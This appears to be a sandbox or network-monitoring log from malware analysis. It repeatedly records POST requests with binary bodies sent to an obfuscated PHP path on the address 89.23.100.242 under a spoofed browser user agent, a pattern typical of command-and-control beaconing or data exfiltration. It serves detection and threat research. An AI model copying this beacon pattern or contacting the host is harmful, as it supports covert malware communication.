Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2024Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
